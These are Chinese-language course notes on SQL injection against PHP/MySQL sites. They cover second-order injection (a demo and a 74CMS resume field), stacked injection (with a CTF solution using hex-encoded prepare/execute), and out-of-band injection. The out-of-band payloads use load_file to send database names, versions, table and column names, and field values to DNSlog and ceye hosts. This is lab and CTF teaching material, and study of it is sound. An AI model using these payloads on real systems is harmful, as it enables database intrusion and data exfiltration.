知识点
- PHP-MYSQL-SQL注入-二次注入&利用条件
- PHP-MYSQL-SQL注入-堆叠注入&利用条件
- PHP-MYSQL-SQL注入-带外注入&利用条件
演示案例
➢PHP-MYSQL-二次注入-DEMO&74CMS
原理
示例逻辑
修改用户密码:
- 没登陆修改密码,肯定需要获取用户名(由你输入的)
- 登录后修改密码,大概率直接验证旧密码和输入新密码
- 一般不会要求输入用户名,哪它如何知道修改哪个用户密码?
- 应该是获取当前用户的用户名作为修改用户
- 此时若用户注册时用户名是一个有SQL注入的字符串,就引起了SQL注入
正常用户
注册用户
用户名SuYou 密码 123456
修改密码
update users set password='a123456' where username='SuYou'
攻击者用户
注册用户
用户名SuYou' and updatexml().... 密码123456
修改密码
造成了SQL注入
update users set password='a123456' where username='SuYou' and updatexml()....
演示示例
- DEMO-用户注册登录修改密码
- 小迪自己写的代码进行测试,主要代码就是我下面二次注入条件那里写的
- CMS-74CMS个人中心简历功能
- 搭建好靶场之后创建一个用户。
- 创建一份简历,注入点在填写简历中的如图所示位置:
- 查询信息自己设置就行,我这里查的是database(),注入点就在上图所示的位置,创建成功之后,查看简历即可
- 发现真实姓名处出现了数据库名,注入成功。
- 想查看源代码的可以下载源码后查看/upload/user/personal/personal_resume.php,然后搜索save_resume_education_edit,即可定位到该处sql注入源代码处。
二次注入条件
插入时有转义函数或配置,后续有利用插入的数据
网站要开启对特殊字符的转义,如PHP:addslashes转义函数,margic_quotes_gpc魔术引号开关--防止SQL注入,但是二次注入需要有转义或魔术引号配置,不然sql语句可能无法执行,因为引发二次注入时,最终触发注入时一定会闭合单引号,因为sql语句中的字符串一定是会用单引号包起来的
示例
php源代码中sql语句如下:
$query = "INSERT INTO users (username, password) VALUES ('$username', '$password')";
当注册的用户名密码如下时:
$username=admin' and updatexml(1,concat(0x7e,(select version()),0x7e),1)# $password=123456
未开启转义
inset的sql语句拼接后如下:
insert into users(username, password) VALUES ('admin' and updatexml(1,concat(0x7e,(select version()),0x7e),1)#','123456')
该语句直接执行会报错,无法执行,因为注入payload语句中的单引号会将原本insert语句中的单引号闭合,导致values值出现错误,因为insert插入两个数据,但是values中不是两个数据,所以会报错,导致无法成功注册用户
开启转义
insert的sql语句将会变为如下:
insert into users(username, password) VALUES ('admin\' and updatexml(1,concat(0x7e,(select version()),0x7e),1)#','123456')
此时用户名中的单引号被转义,不会闭合insert语句中原有的单引号,注入的payload会被当作username写入到数据库中
实战思路
- 黑盒思路:分析功能有添加后对数据操作的地方(功能点),很难测出来,可能性比较低
- 白盒思路:insert后有select或update的功能的代码块
➢PHP-MYSQL-堆叠注入-DEMO&CTF强网
堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,例如php中的mysqli_multi_query函数。与之相对应的mysqli_query()只能执行一条SQL,所以要想目标存在堆叠注入,在目标主机存在类似于mysqli_multi_query()这样的函数,根据数据库类型决定是否支持多条语句执行.
注入条件
- 目标存在sql注入漏洞
- 目标未对";"号进行过滤
- 目标中间层查询数据库信息时可同时执行多条sql语句
- 支持堆叠数据库:MYSQL MSSQL Postgresql等
示例
实战中很少见到,CTF常考
CTF-2019强网杯-随便注(CTF题型)
这个题在buuctf:https://buuoj.cn/challenges,直接搜随便注就能找到
';show databases; ';show tables; ';show columns from `1919810931114514`; ';select flag from `1919810931114514`; // 题目过滤select等关键词,所以将注入语句进行16进制编码注入 ';SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql; // set @a - 自定义变量;prepare -准备要执行的语句; // execute - 执行由prepare语句准备的预准备语句;deallocate prepare - 发布准备好的声明
➢PHP-MYSQL-带外注入-DEMO&DNSLOG
注入条件
ROOT高权限且支持load_file(),有的时候高权限不一定支持load_file(),需要看secure-file-priv这个开关
有部分注入点是没有回显的,所有读取也是没回显的,采用带外
可利用平台
带外应用场景
解决不回显,反向连接,SQL注入,命令执行,SSRF等
SQL带外注入
select load_file(concat('\\\\',(select database()),'.7logee.dnslog.cn\\aa')); and (select load_file(concat('//',(select database()),'.69knl9.dnslog.cn/abc'))) // 查询当前数据库 id=1 and load_file(concat("\\\\",database(),".c6zzok.dnslog.cn\\asdt")) //查询其他数据库 id=1 and load_file(concat("\\\\",(select schema_name from information_schema.schemata limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))//查询版本号 id=1 and load_file(concat("\\\\",version(),".dbuh8a.ceye.io\\xxx.txt")) //查询当前数据库demo01中第一个表名 id=1 and load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='demo01' limit 0,1 ),".dbuh8a.ceye.io\\xxx.txt")) //查询security数据库emails表下第一个列名 id=1 and load_file(concat("\\\\",(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),".dbuh8a.ceye.io\\xxx.txt")) //查询字段值 数据库名为security 表名emails 列名id id=1 and load_file(concat("\\\\",(select id from security.emails limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))
上面的payload将dnslog换为自己的dnslog地址应该就可以直接用
由于该DNS记录只能回显一个字段,所以要使用limit,第一个参数是查询起始位置,第二个参数是查询个数
limit 0,1 查询第一个
limit 1,1 查询第二个
limit 2,1 查询第三个
参考
学习内容均来自小迪安全系列课程:http://xiaodi8.com/